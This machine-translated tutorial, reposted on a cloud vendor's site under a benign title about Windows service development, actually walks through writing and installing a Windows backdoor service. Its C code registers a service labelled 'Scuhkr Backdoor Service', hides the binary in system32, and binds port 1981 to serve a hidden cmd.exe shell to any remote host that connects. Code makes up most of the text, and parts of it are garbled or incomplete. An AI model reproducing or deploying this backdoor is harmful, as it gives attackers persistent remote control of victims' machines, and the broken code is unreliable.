A detailed reference to the main functions used in Windows service development

Source: Internet
Author: User

Programming implementation

A complete service is divided into the installation service program, the principal service program and the uninstall service program. Let's write the main body of the service first, the sample code is as follows:

void Main ()
{
Service_table_entry servicetable[] =
{
{"Scuhkr", Bdservicemain},
{NULL, NULL}//"Sentinel"
};
Connecting to the Service Control Manager
StartServiceCtrlDispatcher (servicetable);
}

  Passerby A: What, it's so short? You want to insult the wisdom of the vast majority of birds? Oh, don't worry, listen to me slowly: The above code, we first give a service_table_entry structure array, each member describes the invocation process provides services, here we only installed a service named SCUHKR service, the back of the Bdservicemain ( We call it the service main function, which provides the service entry address through the callback function, and its prototype parameters must be defined as follows:
void WINAPI Bdservicemain (
  DWORD DWARGC,  //lpszargv parameter number
  lptstr* lpszargv //The first parameter of the array specifies the service name, which can be later
                        StartService () to call
); The
service_table_entry structure array requires that the last member group be NULL, which we call "Sentinel" (all values are null), representing the end of the service table. Once a service is started, call StartServiceCtrlDispatcher () to notify the service control program that the service is executing and provide the address of the service function. StartServiceCtrlDispatcher () requires only an array of at least two service_table_entry structures, which starts a thread for each service and waits until they end to return.
  This program only provides a service function Bdservicemain (), below we will complete the function, the sample code is as follows:

void WINAPI bdservicemain (DWORD dwargc, LPTSTR *lpszargv)
{
 dword dwthreadid;  //Store thread ID
 
//RegisterServiceCtrlHandler () establishes a communication protocol with the Service control program.
//bdhandler () is our service control program, which can be used to start, pause, resume, stop services, and other controls
 if (! Servicestatushandle = RegisterServiceCtrlHandler ("Scuhkr",
                      bdhandler))  
   return;

//indicates that the service is private
 ServiceStatus.dwServiceType  = Service_win32_own_ PROCESS;
//Initialize service, starting
 ServiceStatus.dwCurrentState  = service_start_pending;//
//service acceptable request, Here we only accept stop service request and Pause recovery request
 ServiceStatus.dwControlsAccepted  = Service_accept_stop
                       | Service_accept_pause_continue;
//The next few general we don't care about, all 0
 servicestatus.dwservicespecificexitcode = 0;
 ServiceStatus.dwWin32ExitCode        = 0;
 ServiceStatus.dwCheckPoint            = 0;
 ServiceStatus.dwWaitHint               = 0;
//Must call SetServiceStatus () in response to each request notification of the Service Control program
 setservicestatus (Servicestatushandle, &servicestatus) ;

Start running the service
Servicestatus.dwcurrentstate = service_running;
Servicestatus.dwcheckpoint = 0;
Servicestatus.dwwaithint = 0;

SetServiceStatus (Servicestatushandle, &servicestatus);
We use an Event object to control the synchronization of the service
if (! ( Hevent=createevent (null, FALSE, FALSE, null)))
Return

Servicestatus.dwcurrentstate = service_start_pending;
Servicestatus.dwcheckpoint = 0;
Servicestatus.dwwaithint = 0;

SetServiceStatus (Servicestatushandle, &servicestatus);
The thread to start our backdoor program
if (! ( Hthread=createthread (NULL, 0, (Lpthread_start_routine) Mainfn, (LPVOID) 0, 0, &dwthreadid)))

Servicestatus.dwcurrentstate = service_running;
Servicestatus.dwcheckpoint = 0;
Servicestatus.dwwaithint = 0;

WaitForSingleObject (hevent, INFINITE);

CloseHandle (Hthread);
ExitThread (dwThreadID);
CloseHandle (hevent);

Return
}

Above we call a service control function Bdhandler (), because it is just a simple introduction, we only deal with the service stop control request situation, other pauses, recovery and other functions, readers can improve themselves. Here is the implementation code for Bdhandler ():
void WINAPI Bdhandler (DWORD dwcontrol)
{
 switch (Dwcontrol)
  {
 case service_control_stop:
//wait for the backdoor to stop
  servicestatus.dwcurrentstate = Service_stop_ PENDING;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
  
  setservicestatus (Servicestatushandle, &servicestatus);
Set the time to the excited state, waiting for the next event to arrive
  setevent (hevent);
  
  servicestatus.dwcurrentstate = Service_stop;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
//Stop
  setservicestatus (Servicestatushandle, &servicestatus);
  break;
 
 default:
  break;
 }
}

Service control function is done, the following is left behind the main door function. This program borrowed n many predecessors turned over countless backdoor procedures, by opening a port to listen, allow any remote host connected to the port to establish a trust connection, and provide an interactive shell. In order to clear the code, I removed the error check, the whole process is very simple, there is no more explanation, black defense on the N period introduced, the code is as follows:
DWORD WINAPI Mainfn (LPVOID lpparam)
{
Wsadata Wsadata;
struct sockaddr_in remoteaddr;
DWORD dwthreadida,dwthreadidb,dwthreadparam=0;
Process_information ProcessInfo;
Startupinfo StartInfo;

WSAStartup (Makeword (2,2), &wsadata);
ServerSocket = socket (af_inet, sock_stream, ipproto_tcp);
remoteaddr.sin_family = af_inet;
Remoteaddr.sin_port = htons (1981); Listening port
Remoteaddr.sin_addr. S_un. S_ADDR = Inaddr_any;

Bind (ServerSocket, (LPSOCKADDR) &remoteaddr,sizeof (remoteaddr));
Listen (ServerSocket, 2);

VarA = 0;
Varb = 0;
CreateThread (null, 0, Threadfunca, NULL, 0, &dwthreadida);
CreateThread (null, 0, THREADFUNCB, NULL, 0, &DWTHREADIDB);

Dowhile ((VarA | | varb) = = 0);

Getstartupinfo (&startinfo);
Startinfo.dwflags = startf_useshowwindow| Startf_usestdhandles;
Startinfo.hstdinput = Hreadpipe;
Startinfo.hstderror = Hwritepipe;
Startinfo.hstdoutput = Hwritepipe;
Startinfo.wshowwindow = Sw_hide; Hide Console window

Char szapp[256];
GetSystemDirectory (szapp,max_path+1);

strcat (Szapp, "\\cmd.exe");
Open cmd Process
if (CreateProcess (Szapp, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) = = 0)
{
printf ("CreateProcess error!\n");
return-1;
}

while (true)
{
Clientsocket = Accept (serversocket, NULL, NULL);
Sleep (250);
}

 return 0;
}

//thread function A to accept input from the control side via pipeline A, and then write to the control input
DWORD WINAPI Threadfunca (LPVOID lpparam)
{
 security_attributes pipeattr;
 dword Nbytetowrite, Nbytewritten;
 char recv_buff[1024];
 
 pipeattr.nlength = sizeof (security_attributes);
 pipeattr.lpsecuritydescriptor = NULL;
 pipeattr.binherithandle = TRUE;
 createpipe (&hreadpipe,
  &hwritefile,
  &pipeattr,
   0);
 
 vara = 1;
 while (True)
 {
  sleep ();
  nbytetowrite = recv (Clientsocket,
   recv_buff,
   1024,
   0);
  printf ("%s\n", Recv_buff);
  writefile (Hwritefile,
   recv_buff,
   nbytetowrite,
   &nbytewritten,
   null);
 }
 return 0;
}

//thread function B, through pipe B to accept input from the controlled side, and then write to the control output
DWORD WINAPI threadfuncb (lpvoid lpparam)
{
 security_attributes pipeattr;
 dword Len;
 char send_buff[25000];
 
 pipeattr.nlength = sizeof (security_attributes);
 pipeattr.lpsecuritydescriptor = NULL;
 pipeattr.binherithandle = TRUE;
 
 createpipe (&hreadfile,
  &hwritepipe,
  &pipeattr,
  0);
 
 varb = 1;
 while (True)
 
 return 0;
}

The part of the installation service is actually very simple. , the sample code is as follows:
// installservice.cpp
Void Main ()
{
Sc_handle Hscmanager = null, //Service Control Manager handle
 hservice = null;    //Service handle
 char Szsyspath [max_path]=, 
szexepath[max_path]=;  //We're going to put the program we've executed in the background here, usually in \\admin$\\system32\

if (Hscmanager = OpenSCManager (NULL,//null indicates that the local host
NULL,//To open the Service control management database, default to Empty
sc_manager_create_service//Create permissions
)) ==null)
{
pirntf ("OpenSCManager failed\n");
Return
}

GetSystemDirectory (Szsyspath, MAX_PATH); Get the system directory, which is system32 inside, concealed.
strcpy (Szexepath, Szsyspath);
strcat (Szexepath, "Scuhkr.exe"); Application Absolute Path

if (Hservice=createservice (Hscmanager,//handle to the Service control management database
"SCUHKR",//service name
"Scuhkr Backdoor Service",//Display name
Service_all_access,//All access rights
Service_win32_own_process,//private type
Service_demand_start,//self-starting type Service_error_ignore,//Ignore error handling
Szexepath,//application path
Null
Null
Null
Null
NULL)) = = null)
{
printf ("%d\n", GetLastError ());
Return
}

Let the service run immediately. If it is a server, 10 days and half a month do not restart, is not dead end?
if (StartService (hservice, 0, NULL) = = FALSE)
{
printf ("StartService failed:%d\n", GetLastError ());
Return
}
printf ("Install service successfully\n");
Closeservicehandle (Hservice); Close the service handle
Closeservicehandle (Hscmanager); Close the service management database handle
}

Ok, everything is finished, we test on this machine, the front of the service principal program Scuhkr.exe copy to the system directory \system32 (if you need to automatically implement the self-copy of the program, can be achieved through CopyFile (), Really do not go to find WinShell source code to see it), and then execute InstallServcie.exe. In order to see if we succeed in installation, there are two ways, one is through the control Panel, management tools, services, and the second is the use of the system under the console of the Sc.exe tools, such as: "Sc.exe QC RPCSS", 2 shown.



Figure 2

A detailed reference to the main functions used in Windows service development

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.